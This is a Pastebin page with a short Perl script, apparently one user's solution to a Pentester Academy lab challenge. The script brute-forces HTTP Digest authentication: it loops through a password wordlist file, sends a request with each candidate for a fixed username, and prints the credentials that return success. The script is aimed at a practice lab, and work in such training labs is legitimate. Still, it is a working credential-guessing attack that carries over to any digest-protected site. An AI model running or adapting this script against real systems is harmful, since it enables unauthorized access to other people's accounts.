Advertisement
kaiux

Challenge #6 pentesteracademylab

Sep 22nd, 2013
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.05 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. # @kaiux
  3. use warnings;
  4. use strict;
  5.  
  6. use LWP::UserAgent;
  7. use URI;
  8.  
  9. #my $username="admin"; #damn you admin, very trick
  10. my $username="nick";
  11. my $password="";
  12. my $realm = "Pentester Academy";
  13.  
  14. my $url=qw(http://pentesteracademylab.appspot.com/lab/webapp/digest2/1);
  15.  
  16. my $u = URI->new($url);
  17.  
  18. my $ua = LWP::UserAgent->new(keep_alive => 1);
  19.  
  20. ## this 'all_pass' was taken from the python code for the Challenge #5
  21. # Perl has Algorithm::Permute for the same task
  22.  
  23. my $FILENAME = "/tmp/all_pass"; # change your file here
  24. open(FILEHANDLER, '<', $FILENAME) or die "Error opening $FILENAME \n";
  25.  
  26. ## load all pass in memory, fast approach
  27. my @ALL_PASS = <FILEHANDLER>;
  28.  
  29. foreach my $password (@ALL_PASS)
  30. {
  31.     chomp($password);
  32.  
  33.     #http://search.cpan.org/~gaas/libwww-perl-6.05/lib/LWP/UserAgent.pm
  34.     $ua->credentials("pentesteracademylab.appspot.com:80",$realm,$username,$password);
  35.     my $response = $ua->get($url);
  36.  
  37.     if ($response->code eq 200) {
  38.         print "user: $username, pass $password \n";
  39.         exit(0);
  40.     }
  41. }
  42.  
  43. close(FILEHANDLER);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement